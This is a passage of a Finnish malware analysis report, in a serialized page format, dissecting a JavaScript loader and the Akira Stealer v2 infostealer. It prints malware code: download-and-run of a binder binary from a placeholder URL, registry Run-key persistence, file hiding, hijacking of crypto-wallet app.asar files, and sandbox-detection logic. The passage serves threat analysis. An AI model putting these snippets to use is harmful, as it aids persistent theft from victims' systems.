Endpointin telemetriassa, etenee tässä järjestyksessä:",[631,3980,3981,3990,3997,4003],{},[634,3982,3983,3985,3986,3989],{},[579,3984,606],{}," (Electron-pohjainen säiliö) kutsuu ",[579,3987,3988],{},"node.exe",":ä",[634,3991,3992,3994,3995,1844],{},[579,3993,3988],{}," käynnistää ",[579,3996,1138],{},[634,3998,3999,3994,4001,1844],{},[579,4000,1138],{},[579,4002,581],{},[634,4004,4005,4007,4008],{},[579,4006,581],{}," suorittaa tiedoston ",[579,4009,1148],{},[897,4011,4013],{"id":4012},"_625-persistencen-vahvistaminen","6.2.5 Persistencen vahvistaminen",[526,4015,903],{},[526,4017,4018,4019,4021],{},"Varmistaakseen pitkäaikaisen läsnäolon saastuneessa järjestelmässä purettu JavaScript-payload sisältää logiikan, joka palauttaa persistencen kopioimalla ensimmäisen binäärin (",[579,4020,602],{},") piilotettuun sijaintiin käyttäjän profiilissa.",[526,4023,4024],{},[568,4025,4026],{},"Kohdehakemisto",[526,4028,4029],{},"Tiedosto kopioidaan hakemistoon, joka matkii laillisia Windows-komponentteja:",[616,4031,4033],{"className":3023,"code":4032,"language":3025,"meta":530,"style":530},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[579,4034,4035],{"__ignoreMap":530},[1718,4036,4037,4040,4043,4045],{"class":1720,"line":1721},[1718,4038,4039],{"class":3032},"%",[1718,4041,4042],{"class":2812},"APPDATA",[1718,4044,4039],{"class":3032},[1718,4046,4047],{"class":3042},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[526,4049,4050],{},"Tämä sijainti on valittu tarkoituksella:",[631,4052,4053,4056],{},[634,4054,4055],{},"%APPDATA% on tavallisten käyttäjien kirjoitettavissa eikä vaadi järjestelmänvalvojan oikeuksia.",[634,4057,4058],{},"Hakemiston nimi matkii laillisia Microsoft-sovelluskansioita, mikä tekee siitä vähemmän epäilyttävän.",[526,4060,4061],{},[568,4062,4063],{},"Kopiointimekanismi:",[526,4065,4066],{},"Kopiointi käyttää Node.js:n fs.copyFileSync()-funktiota:",[616,4068,4070],{"className":3023,"code":4069,"language":3025,"meta":530,"style":530},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[579,4071,4072,4081,4091,4100,4109,4116,4123,4130,4137,4142],{"__ignoreMap":530},[1718,4073,4074,4076,4079],{"class":1720,"line":1721},[1718,4075,3772],{"class":3042},[1718,4077,4078],{"class":2804},"copyFileSync",[1718,4080,3049],{"class":3042},[1718,4082,4083,4086,4089],{"class":1720,"line":531},[1718,4084,4085],{"class":3042},"  process.env.",[1718,4087,4088],{"class":2812},"PORTABLE_EXECUTABLE_FILE",[1718,4090,3079],{"class":3042},[1718,4092,4093,4096,4098],{"class":1720,"line":2102},[1718,4094,4095],{"class":3042},"  path.",[1718,4097,3413],{"class":2804},[1718,4099,3049],{"class":3042},[1718,4101,4102,4105,4107],{"class":1720,"line":2108},[1718,4103,4104],{"class":3042},"    process.env.",[1718,4106,4042],{"class":2812},[1718,4108,3079],{"class":3042},[1718,4110,4111,4114],{"class":1720,"line":2432},[1718,4112,4113],{"class":2808},"    \"Microsoft\"",[1718,4115,3079],{"class":3042},[1718,4117,4118,4121],{"class":1720,"line":2438},[1718,4119,4120],{"class":2808},"    \"Internet Explorer\"",[1718,4122,3079],{"class":3042},[1718,4124,4125,4128],{"class":1720,"line":3096},[1718,4126,4127],{"class":2808},"    \"UserData\"",[1718,4129,3079],{"class":3042},[1718,4131,4132,4135],{"class":1720,"line":3892},[1718,4133,4134],{"class":2808},"    \"Updater.exe\"",[1718,4136,3079],{"class":3042},[1718,4138,4139],{"class":1720,"line":3898},[1718,4140,4141],{"class":3042},"  ),\n",[1718,4143,4145],{"class":1720,"line":4144},10,[1718,4146,3099],{"class":3042},[631,4148,4149,4152],{},[634,4150,4151],{},"PORTABLE_EXECUTABLE_FILE on ympäristömuuttuja, jonka monet paketoijat (kuten Electron) asettavat automaattisesti viittaamaan suoritettavan binäärin polkuun.",[634,4153,4154],{},"path.join(...) rakentaa täysin määritellyn kohdepolun eri käyttöjärjestelmissä.",[526,4156,4157],{},"Tämä logiikka suoritetaan vain, jos tiedostoa ei ole jo olemassa—se toimii siis itsekorjausmekanismina, joka palauttaa dropperin, jos se poistetaan.",[526,4159,4160,4163],{},[568,4161,4162],{},"Rooli haittaohjelmaketjussa","\nTämän kopioidun Updater.exe:n läsnäolo varmistaa, että:",[631,4165,4166,4169],{},[634,4167,4168],{},"Loader voi käynnistää itsensä uudelleen järjestelmän uudelleenkäynnistysten yli.",[634,4170,4171],{},"Koko tartuntaketju (joka johtaa main.exe:hen, node.exe:hen ja lopulta astor.py:hyn) voi käynnistyä uudelleen ilman perinteisiä rekisteripohjaisia persistence-mekanismeja, joita todennäköisemmin valvotaan.",[897,4173,4175],{"id":4174},"_626-valinnainen-binderin-suoritus","6.2.6 Valinnainen binderin suoritus",[526,4177,903],{},[526,4179,4180,4181,4183],{},"Pääpayloadin (",[579,4182,610],{},") lataamisen ja suorittamisen lisäksi purettu JavaScript sisältää myös logiikan, jolla voidaan valinnaisesti ladata ja käynnistää toinen suoritettava tiedosto, jota kutsutaan \"binderiksi\". Tätä komponenttia voidaan käyttää persistenceen, harhautukseen tai lisähaittaohjelmamoduulien toimittamiseen.",[526,4185,4186],{},[568,4187,4188],{},"Ehdollinen suoritus",[526,4190,4191],{},"Binder-logiikka aktivoituu vain, jos tietty lippu on asetettu:",[616,4193,4195],{"className":3023,"code":4194,"language":3025,"meta":530,"style":530},"enableBinder = true;\n",[579,4196,4197],{"__ignoreMap":530},[1718,4198,4199,4202,4204,4207],{"class":1720,"line":1721},[1718,4200,4201],{"class":3042},"enableBinder ",[1718,4203,3200],{"class":3032},[1718,4205,4206],{"class":2812}," true",[1718,4208,3481],{"class":3042},[526,4210,4211,4212,4215],{},"Analysoidussa näytteessä tämä arvo oli oletuksena ",[579,4213,4214],{},"false",", mutta logiikka on edelleen upotettuna payloadiin ja se voidaan triviaalisti ottaa käyttöön toisessa kampanjassa tai variantissa.",[526,4217,4218],{},[568,4219,4220],{},"Binderin latauslogiikka",[526,4222,4223,4224,1208],{},"Jos toiminto aktivoidaan, skripti yrittää hakea ulkoisen binäärin URL-osoitteesta, joka on määritelty paikanvarausmerkillä ",[579,4225,4226],{},"%BINDERURL%",[616,4228,4230],{"className":3023,"code":4229,"language":3025,"meta":530,"style":530},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[579,4231,4232,4246,4266,4281],{"__ignoreMap":530},[1718,4233,4234,4236,4239,4241,4244],{"class":1720,"line":1721},[1718,4235,3033],{"class":3032},[1718,4237,4238],{"class":2812}," fileUrl",[1718,4240,3039],{"class":3032},[1718,4242,4243],{"class":2808}," \"%BINDERURL%\"",[1718,4245,3481],{"class":3042},[1718,4247,4248,4250,4252,4254,4256,4258,4260,4262,4264],{"class":1720,"line":531},[1718,4249,3033],{"class":3032},[1718,4251,3505],{"class":2812},[1718,4253,3039],{"class":3032},[1718,4255,3510],{"class":3032},[1718,4257,3513],{"class":3042},[1718,4259,3516],{"class":2804},[1718,4261,3519],{"class":3042},[1718,4263,3522],{"class":2808},[1718,4265,3525],{"class":3042},[1718,4267,4268,4270,4272,4274,4276,4278],{"class":1720,"line":2102},[1718,4269,3033],{"class":3032},[1718,4271,3543],{"class":2812},[1718,4273,3039],{"class":3032},[1718,4275,3548],{"class":3042},[1718,4277,3551],{"class":2804},[1718,4279,4280],{"class":3042},"(binderFile);\n",[1718,4282,4283,4285,4287],{"class":1720,"line":2108},[1718,4284,3559],{"class":3042},[1718,4286,3562],{"class":2804},[1718,4288,3565],{"class":3042},[631,4290,4291,4297],{},[634,4292,4293,4294,4296],{},"Tiedosto ",[579,4295,3392],{}," tallennetaan järjestelmän väliaikaishakemistoon.",[634,4298,4299,4300,4302],{},"Kuten ",[579,4301,2908],{},", binääri ladataan Axiosilla virtaamalla, jotta koko binääriä ei tarvitse ladata muistiin.",[526,4304,4305],{},[568,4306,4307],{},"Suoritusstrategia",[526,4309,4310,4311,4313],{},"Onnistuneen latauksen jälkeen skripti kutsuu ladattua binääriä ",[579,4312,1138],{},":n kautta varmistaen, että se suoritetaan uudessa komentotulkkikontekstissa:",[616,4315,4317],{"className":3023,"code":4316,"language":3025,"meta":530,"style":530},"exec(`start cmd /c start ${binderFile}`, ...);\n",[579,4318,4319],{"__ignoreMap":530},[1718,4320,4321,4323,4325,4328,4331,4334,4336,4339],{"class":1720,"line":1721},[1718,4322,3954],{"class":2804},[1718,4324,3234],{"class":3042},[1718,4326,4327],{"class":2808},"`start cmd /c start ${",[1718,4329,4330],{"class":3042},"binderFile",[1718,4332,4333],{"class":2808},"}`",[1718,4335,647],{"class":3042},[1718,4337,4338],{"class":3032},"...",[1718,4340,3099],{"class":3042},[526,4342,4343],{},"Luotettavuuden parantamiseksi skripti sisältää uudelleenyrityslogiikan:",[616,4345,4347],{"className":3023,"code":4346,"language":3025,"meta":530,"style":530},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[579,4348,4349,4361,4372],{"__ignoreMap":530},[1718,4350,4351,4354,4357,4359],{"class":1720,"line":1721},[1718,4352,4353],{"class":2804},"setTimeout",[1718,4355,4356],{"class":3042},"(() ",[1718,4358,3825],{"class":3032},[1718,4360,3828],{"class":3042},[1718,4362,4363,4366,4368,4370],{"class":1720,"line":531},[1718,4364,4365],{"class":2804},"  exec",[1718,4367,3234],{"class":3042},[1718,4369,4338],{"class":3032},[1718,4371,3099],{"class":3042},[1718,4373,4374,4377,4380],{"class":1720,"line":2102},[1718,4375,4376],{"class":3042},"}, ",[1718,4378,4379],{"class":2812},"5000",[1718,4381,3099],{"class":3042},[526,4383,4384],{},"Tämä varmistaa, että vaikka ensimmäinen suoritus epäonnistuisi (esim. järjestelmän kuormituksen tai kilpailutilanteiden vuoksi), haittaohjelma yrittää käynnistää binäärin uudelleen lyhyen viiveen jälkeen.",[526,4386,4387],{},[568,4388,4389],{},"Binderin käyttötapaukset",[526,4391,4392],{},"Vaikka binder-binäärin tarkkaa tarkoitusta ei tässä näytteessä paljasteta (paikanvarausmerkillä olevan URL-osoitteen vuoksi), tällaisia komponentteja käytetään yleisesti seuraaviin:",[631,4394,4395,4398,4401,4404],{},[634,4396,4397],{},"Ensisijaisten haittaohjelmakomponenttien uudelleenasennus tai uudelleenkäynnistys",[634,4399,4400],{},"Väärennettyjen asennusohjelmien tai harhautussovellusten näyttäminen",[634,4402,4403],{},"Lisävakoiluohjelmien, takaovien tai kiristyshaittaohjelmien toimittaminen",[634,4405,4406],{},"Järjestelmäasetusten muokkaaminen tai tietoturvaominaisuuksien poistaminen käytöstä",[748,4408,4410],{"id":4409},"_63-yhteenveto","6.3 Yhteenveto",[526,4412,754],{},[526,4414,4415,4417],{},[579,4416,2846],{}," on erittäin obfuskoitu, salattu JavaScript-loader, joka käyttää alan standardikryptografiaa (PBKDF2 + AES-256-CBC) suojatakseen todellisen tarkoituksensa. Salauksen purun jälkeen se toimii täysin toimintakykyisenä toisen vaiheen loaderina, joka:",[631,4419,4420,4425,4428,4433],{},[634,4421,4422,4423,1149],{},"Hakee lisää haittaohjelmia (",[579,4424,2908],{},[634,4426,4427],{},"Muokkaa payloadin käyttäytymistä dynaamisesti",[634,4429,4430,4431,1149],{},"Käynnistää varsinaisen stealer-skriptin (",[579,4432,610],{},[634,4434,4435,4436,1844],{},"Vahvistaa persistenceä palauttamalla ",[579,4437,602],{},[526,4439,4440,4441,4444],{},"Sen yhdistelmä salausta, dynaamista suoritusta, modulaarista payloadin hakua ja tiedostotonta toimintaa osoittaa ",[568,4442,4443],{},"erittäin kehittynyttä JavaScript-pohjaista haittaohjelma-arkkitehtuuria",", joka hyödyntää Node.js:n kyvykkyyksiä Electron-kuoressa.",[557,4446,4448,4449,1149],{"id":4447},"_7-deepdive-akira-stealer-v2-astorpy","7. DeepDive: Akira Stealer v2 (",[579,4450,610],{},[526,4452,563],{},[748,4454,4456],{"id":4455},"_71-toiminnallisuus-yleisellä-tasolla","7.1. Toiminnallisuus yleisellä tasolla",[526,4458,754],{},[526,4460,4461,4462,4464],{},"Akira Stealer v2 (",[579,4463,610],{},") on monitoiminen, modulaarinen Pythonilla kirjoitettu infostealer-haittaohjelma. Se on suunniteltu exfiltroimaan laaja kirjo arkaluonteista käyttäjädataa sekä Chromium- että Firefox-pohjaisista selaimista, kryptolompakoista, viestintäsovelluksista (esim. Discord, Telegram) ja järjestelmätiedostoista. Se sisältää hienostuneita analyysin vastaisia mekanismeja, rekisteripohjaisen persistencen, leikepöydän kaappauksen ja muisti-injektiotekniikoita.",[748,4466,4468],{"id":4467},"_72-persistence-ja-käyttöönotto","7.2 Persistence ja käyttöönotto",[526,4470,754],{},[897,4472,4474],{"id":4473},"_721-suoritusketjun-konteksti","7.2.1 Suoritusketjun konteksti",[526,4476,903],{},[526,4478,4479,4481],{},[579,4480,610],{},":tä ei suoriteta itsenäisesti, vaan se on viimeinen payload monivaiheisessa hyökkäysketjussa:",[616,4483,4487],{"className":4484,"code":4485,"language":4486,"meta":530,"style":530},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[579,4488,4489,4494,4499,4504],{"__ignoreMap":530},[1718,4490,4491],{"class":1720,"line":1721},[1718,4492,4493],{},"Updater.exe\n",[1718,4495,4496],{"class":1720,"line":531},[1718,4497,4498],{},"  └── main.exe (Electron app)\n",[1718,4500,4501],{"class":1720,"line":2102},[1718,4502,4503],{},"        └── cmd.exe\n",[1718,4505,4506],{"class":1720,"line":2108},[1718,4507,4508],{},"              └── python.exe astor.py\n",[526,4510,4511,4512,4514],{},"Tämä jäsennelty suoritusketju antaa jokaisen vaiheen välttää havaitsemisen delegoimalla haitallisen toiminnallisuuden seuraavalle. ",[579,4513,602],{}," käynnistää sarjan ja vastaa persistencen ylläpidosta.",[897,4516,4518],{"id":4517},"_722-rekisteripohjainen-persistence","7.2.2 Rekisteripohjainen persistence",[526,4520,903],{},[526,4522,4523,4524,4526],{},"Akira luo persistencen kirjoittamalla rekisteriavaimen nykyisen käyttäjän Run-polun alle. Tämä varmistaa, että ",[579,4525,602],{}," suoritetaan jokaisen järjestelmän käynnistyksen yhteydessä:",[616,4528,4532],{"className":4529,"code":4530,"language":4531,"meta":530,"style":530},"language-python shiki shiki-themes github-light github-dark","command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\nos.system(command)\n","python",[579,4533,4534,4539],{"__ignoreMap":530},[1718,4535,4536],{"class":1720,"line":1721},[1718,4537,4538],{},"command = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Updater.exe\" /f'\n",[1718,4540,4541],{"class":1720,"line":531},[1718,4542,4543],{},"os.system(command)\n",[631,4545,4546,4553,4560],{},[634,4547,4548,1008,4551],{},[568,4549,4550],{},"Polku",[579,4552,1690],{},[634,4554,4555,1008,4557,4559],{},[568,4556,1695],{},[579,4558,1698],{}," (valittu näyttämään vaarattomalta)",[634,4561,4562,4564,4565],{},[568,4563,1703],{},": Tyypillisesti ",[579,4566,4567],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[526,4569,4570,4571,4574],{},"Tämä komento kirjoittaa autorun-merkinnän hiljaa PowerShellin tai natiivin ",[579,4572,4573],{},"os.system()","-suorituksen kautta.",[897,4576,4578],{"id":4577},"_723-tiedoston-piilottaminen","7.2.3 Tiedoston piilottaminen",[526,4580,903],{},[526,4582,4583],{},"Hämärtääkseen binääriä entisestään käyttäjiltä ja yksinkertaisilta virustorjuntaskannauksilta tiedosto merkitään hidden- ja system-attribuuteilla:",[616,4585,4587],{"className":4529,"code":4586,"language":4531,"meta":530,"style":530},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[579,4588,4589],{"__ignoreMap":530},[1718,4590,4591],{"class":1720,"line":1721},[1718,4592,4586],{},[631,4594,4595,4601],{},[634,4596,4597,4600],{},[579,4598,4599],{},"+h",": Merkitsee tiedoston piilotetuksi",[634,4602,4603,4606],{},[579,4604,4605],{},"+s",": Merkitsee tiedoston suojatuksi järjestelmätiedostoksi",[526,4608,4609],{},"Tämä poistaa tiedoston käytännössä Windowsin Resurssienhallinnan vakionäkymistä ja lisää huomaamattomuutta.",[897,4611,4613],{"id":4612},"_724-uudelleentartuntatekniikat","7.2.4 Uudelleentartuntatekniikat",[526,4615,903],{},[526,4617,4618,4619,4621,4622,647,4625,4628],{},"Haittaohjelma tukee itsensä monistamista ja uudelleentartuntaa Electron-sovellusten kaappauksen kautta. Tarkemmin sanottuna se korvaa ",[579,4620,1082],{},"-arkiston Electron-pohjaisissa työpöytälompakoissa (esim. ",[568,4623,4624],{},"Exodus",[568,4626,4627],{},"Atomic Wallet",") suorittaakseen haitallista JavaScriptiä laillisen sovelluksen käynnistyksen aikana.",[526,4630,4631],{},"Logiikka etsii tunnettuja lompakkosovellusten polkuja:",[616,4633,4635],{"className":4529,"code":4634,"language":4531,"meta":530,"style":530},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[579,4636,4637],{"__ignoreMap":530},[1718,4638,4639],{"class":1720,"line":1721},[1718,4640,4634],{},[526,4642,4643,4644,4646],{},"Jos kohdetiedosto on olemassa, se ylikirjoitetaan aseistetulla arkistolla. Tämä varmistaa persistencen myös sen jälkeen, kun ",[579,4645,602],{}," on siivottu käsin.",[748,4648,4650,4651,1149],{"id":4649},"_73-analyysin-vastaisuus-väistely-luokka-vmprotect","7.3 Analyysin vastaisuus / väistely (luokka: ",[579,4652,4653],{},"VmProtect",[526,4655,754],{},[897,4657,4659],{"id":4658},"_731-johdanto","7.3.1 Johdanto",[526,4661,903],{},[526,4663,4664,4665,4668,4669,4671],{},"Nykyaikaisissa haittaohjelmakampanjoissa analyysin väistäminen virtualisoiduissa ja sandbox-ympäristöissä on kriittistä huomaamattomuuden säilyttämiseksi. ",[4666,4667,677],"em",{}," toteuttaa kattavan VM- ja sandbox-havaitsemismoduulin (",[579,4670,4653],{},"), joka tunnistaa aggressiivisesti analyytikon hallinnoimat ympäristöt ja keskeyttää suorituksen niissä. Tämä raportti pilkkoo osiin jokaisen havaitsemistekniikan, esittää tarkat koodikatkelmat—mukaan lukien täydelliset estolistamäärittelyt—ja kuvaa käytetyn analyysimenetelmän.",[897,4673,4675],{"id":4674},"_732-yleiskuva","7.3.2 Yleiskuva",[526,4677,903],{},[526,4679,4680,4682],{},[579,4681,4653],{},"-luokka toteuttaa vankan VM- ja sandbox-havaitsemisen suorituksen ennenaikaiseen keskeyttämiseen analyysiympäristöissä. Se tukee kahta havaitsemistasoa:",[631,4684,4685,4691],{},[634,4686,4687,4690],{},[568,4688,4689],{},"Taso 1",": Kevyet, nopeat tarkistukset",[634,4692,4693,4696],{},[568,4694,4695],{},"Taso 2",": Syvälliset, kattavat luotaukset",[526,4698,2396,4699,4702,4703,4706,4707,4710],{},[579,4700,4701],{},"VmProtect.isVM(level)"," palauttaa ",[579,4704,4705],{},"True",", haittaohjelma kutsuu ",[579,4708,4709],{},"sys.exit()","-funktiota ja estää jatkoanalyysin.",[897,4712,4714],{"id":4713},"_733-havaitsemistasot","7.3.3 Havaitsemistasot",[526,4716,903],{},[1430,4718,4719,4720],{},"\n  ",[1446,4721,4722,4719,4731,4719,4741,4719,4750,4719,4759,4719,4769,4719,4778,4719,4787],{},[1436,4723,4724,4725,4724,4727,4724,4729,4719],{},"\n    ",[1439,4726,1441],{},[1439,4728,4689],{},[1439,4730,4695],{},[1436,4732,4724,4733,4724,4736,4724,4739,4719],{},[1451,4734,4735],{},"HTTPSimulation",[1451,4737,4738],{},"✔️",[1451,4740,4738],{},[1436,4742,4724,4743,4724,4746,4724,4748,4719],{},[1451,4744,4745],{},"Tietokoneen nimien estolista",[1451,4747,4738],{},[1451,4749,4738],{},[1436,4751,4724,4752,4724,4755,4724,4757,4719],{},[1451,4753,4754],{},"Käyttäjätilien estolista",[1451,4756,4738],{},[1451,4758,4738],{},[1436,4760,4724,4761,4724,4764,4724,4767,4719],{},[1451,4762,4763],{},"Laitteiston UUID:iden estolista",[1451,4765,4766],{},"❌",[1451,4768,4738],{},[1436,4770,4724,4771,4724,4774,4724,4776,4719],{},[1451,4772,4773],{},"Julkisen hosting-API:n tarkistus",[1451,4775,4766],{},[1451,4777,4738],{},[1436,4779,4724,4780,4724,4783,4724,4785,4719],{},[1451,4781,4782],{},"Rekisterin ja GPU:n vihjeet",[1451,4784,4766],{},[1451,4786,4738],{},[1436,4788,4724,4789,4724,4792,4724,4794,4719],{},[1451,4790,4791],{},"Prosessien tappaminen taustalla",[1451,4793,4738],{},[1451,4795,4738],{},[862,4797],{"className":4798},[865,866],[897,4800,4802,4803,4805],{"id":4801},"_734-vmprotect-arkkitehtuuri","7.3.4 ",[579,4804,4653],{},"-arkkitehtuuri",[526,4807,903],{},[526,4809,4810,4812],{},[579,4811,4653],{},"-luokka tarjoaa seuraavat ensisijaiset metodit:",[631,4814,4815,4822,4829,4836,4843,4850,4857,4864],{},[634,4816,4817],{},[568,4818,4819],{},[579,4820,4821],{},"checkUUID()",[634,4823,4824],{},[568,4825,4826],{},[579,4827,4828],{},"checkComputerName()",[634,4830,4831],{},[568,4832,4833],{},[579,4834,4835],{},"checkUsers()",[634,4837,4838],{},[568,4839,4840],{},[579,4841,4842],{},"checkHosting()",[634,4844,4845],{},[568,4846,4847],{},[579,4848,4849],{},"checkHTTPSimulation()",[634,4851,4852],{},[568,4853,4854],{},[579,4855,4856],{},"checkRegistry()",[634,4858,4859],{},[568,4860,4861],{},[579,4862,4863],{},"killTasks()",[634,4865,4866],{},[568,4867,4868],{},[579,4869,4870],{},"isVM(level)",[526,4872,4873,4874,4877],{},"Jokainen metodi palauttaa totuusarvon tai suorittaa väistelyvaiheita. ",[579,4875,4876],{},"isVM","-kääre kokoaa nämä tarkistukset annetun tason mukaan.",[1430,4879,4719,4880],{},[1446,4881,4882,4719,4893,4719,4907,4719,4921,4719,4934,4719,4947,4719,4960,4719,4973,4719,4988],{},[1436,4883,4724,4884,4724,4887,4724,4890,4719],{},[1439,4885,4886],{},"Metodi",[1439,4888,4889],{},"Laukaisija",[1439,4891,4892],{},"Kuvaus",[1436,4894,4724,4895,4724,4899,4724,4904,4719],{},[1451,4896,4897],{},[579,4898,4821],{},[1451,4900,4901],{},[579,4902,4903],{},"isVM(2)",[1451,4905,4906],{},"WMI-UUID:iden estolista",[1436,4908,4724,4909,4724,4913,4724,4918,4719],{},[1451,4910,4911],{},[579,4912,4828],{},[1451,4914,4915],{},[579,4916,4917],{},"isVM(1,2)",[1451,4919,4920],{},"Osuma ympäristön hostnameen",[1436,4922,4724,4923,4724,4927,4724,4931,4719],{},[1451,4924,4925],{},[579,4926,4835],{},[1451,4928,4929],{},[579,4930,4917],{},[1451,4932,4933],{},"Käyttäjänimien estolista",[1436,4935,4724,4936,4724,4940,4724,4944,4719],{},[1451,4937,4938],{},[579,4939,4842],{},[1451,4941,4942],{},[579,4943,4903],{},[1451,4945,4946],{},"IP:n hosting-tarjoajan tarkistus ip-api.comin kautta",[1436,4948,4724,4949,4724,4953,4724,4957,4719],{},[1451,4950,4951],{},[579,4952,4849],{},[1451,4954,4955],{},[579,4956,4917],{},[1451,4958,4959],{},"HTTPS-sieppauksen havaitseminen",[1436,4961,4724,4962,4724,4966,4724,4970,4719],{},[1451,4963,4964],{},[579,4965,4856],{},[1451,4967,4968],{},[579,4969,4903],{},[1451,4971,4972],{},"Rekisterin ja GPU-ajurin artefaktit",[1436,4974,4724,4975,4724,4979,4724,4985,4719],{},[1451,4976,4977],{},[579,4978,4863],{},[1451,4980,4981,4984],{},[579,4982,4983],{},"isVM(...)"," spawn",[1451,4986,4987],{},"Päättää tunnetut analyysiprosessit",[1436,4989,4724,4990,4724,4994,4724,4997,4719],{},[1451,4991,4992],{},[579,4993,4870],{},[1451,4995,4996],{},"init",[1451,4998,4999,5000,5002],{},"Kokoaa tarkistukset ja kutsuu ",[579,5001,4863],{},"-säiettä",[862,5004],{"className":5005},[865,866],[616,5007,5009],{"className":4529,"code":5008,"language":4531,"meta":530,"style":530},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[579,5010,5011,5016,5021,5026,5031,5036,5041,5046,5051,5056,5061,5067,5073,5079,5085,5091,5097,5103,5109,5115,5121,5127,5133,5139,5145],{"__ignoreMap":530},[1718,5012,5013],{"class":1720,"line":1721},[1718,5014,5015],{},"@staticmethod\n",[1718,5017,5018],{"class":1720,"line":531},[1718,5019,5020],{},"def isVM(level: int) -> bool:\n",[1718,5022,5023],{"class":1720,"line":2102},[1718,5024,5025],{},"    # Always start background task-killer\n",[1718,5027,5028],{"class":1720,"line":2108},[1718,5029,5030],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1718,5032,5033],{"class":1720,"line":2432},[1718,5034,5035],{},"    if level == 1:\n",[1718,5037,5038],{"class":1720,"line":2438},[1718,5039,5040],{},"        # Fast path: HTTPS, hostname & user\n",[1718,5042,5043],{"class":1720,"line":3096},[1718,5044,5045],{},"        return (\n",[1718,5047,5048],{"class":1720,"line":3892},[1718,5049,5050],{},"            VmProtect.checkHTTPSimulation()\n",[1718,5052,5053],{"class":1720,"line":3898},[1718,5054,5055],{},"            or VmProtect.checkComputerName()\n",[1718,5057,5058],{"class":1720,"line":4144},[1718,5059,5060],{},"            or VmProtect.checkUsers()\n",[1718,5062,5064],{"class":1720,"line":5063},11,[1718,5065,5066],{},"        )\n",[1718,5068,5070],{"class":1720,"line":5069},12,[1718,5071,5072],{},"    if level == 2:\n",[1718,5074,5076],{"class":1720,"line":5075},13,[1718,5077,5078],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1718,5080,5082],{"class":1720,"line":5081},14,[1718,5083,5084],{},"        try:\n",[1718,5086,5088],{"class":1720,"line":5087},15,[1718,5089,5090],{},"            return (\n",[1718,5092,5094],{"class":1720,"line":5093},16,[1718,5095,5096],{},"                VmProtect.checkHTTPSimulation()\n",[1718,5098,5100],{"class":1720,"line":5099},17,[1718,5101,5102],{},"                or VmProtect.checkUUID()\n",[1718,5104,5106],{"class":1720,"line":5105},18,[1718,5107,5108],{},"                or VmProtect.checkComputerName()\n",[1718,5110,5112],{"class":1720,"line":5111},19,[1718,5113,5114],{},"                or VmProtect.checkUsers()\n",[1718,5116,5118],{"class":1720,"line":5117},20,[1718,5119,5120],{},"                or VmProtect.checkHosting()\n",[1718,5122,5124],{"class":1720,"line":5123},21,[1718,5125,5126],{},"                or VmProtect.checkRegistry()\n",[1718,5128,5130],{"class":1720,"line":5129},22,[1718,5131,5132],{},"            )\n",[1718,5134,5136],{"class":1720,"line":5135},23,[1718,5137,5138],{},"        except:\n",[1718,5140,5142],{"class":1720,"line":5141},24,[1718,5143,5144],{},"            return False\n",[1718,5146,5148],{"class":1720,"line":5147},25,[1718,5149,5150],{},"    return False\n",[897,5152,5154],{"id":5153},"_735-uuid-tarkistus-virtuaalikoneiden-tunnistaminen-laitteiston-uuidn-avulla","7.3.5 UUID-tarkistus – virtuaalikoneiden tunnistaminen laitteiston UUID:n avulla",[526,5156,903],{},[526,5158,5159],{},"Yleinen taktiikka haittaohjelmien väistelyssä on taustalla olevan laitteistoympäristön sormenjälkien kerääminen. Yksi varhaisimmista tunnisteista, joka voi paljastaa virtuaalikoneen, on järjestelmän UUID (Universally Unique Identifier). Virtualisointialustat kuten VMware ja VirtualBox generoivat usein ennustettavia tai uudelleenkäytettyjä UUID-tunnuksia, joiden avulla haittaohjelma voi päätellä, suoritetaanko sitä virtualisoidussa tai sandbox-ympäristössä.",[616,5161,5163],{"className":4529,"code":5162,"language":4531,"meta":530,"style":530},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[579,5164,5165,5169,5174,5179,5184,5189,5194,5199,5204,5209],{"__ignoreMap":530},[1718,5166,5167],{"class":1720,"line":1721},[1718,5168,5015],{},[1718,5170,5171],{"class":1720,"line":531},[1718,5172,5173],{},"def checkUUID() -> bool:\n",[1718,5175,5176],{"class":1720,"line":2102},[1718,5177,5178],{},"    try:\n",[1718,5180,5181],{"class":1720,"line":2108},[1718,5182,5183],{},"        raw = subprocess.run(\n",[1718,5185,5186],{"class":1720,"line":2432},[1718,5187,5188],{},"            \"wmic 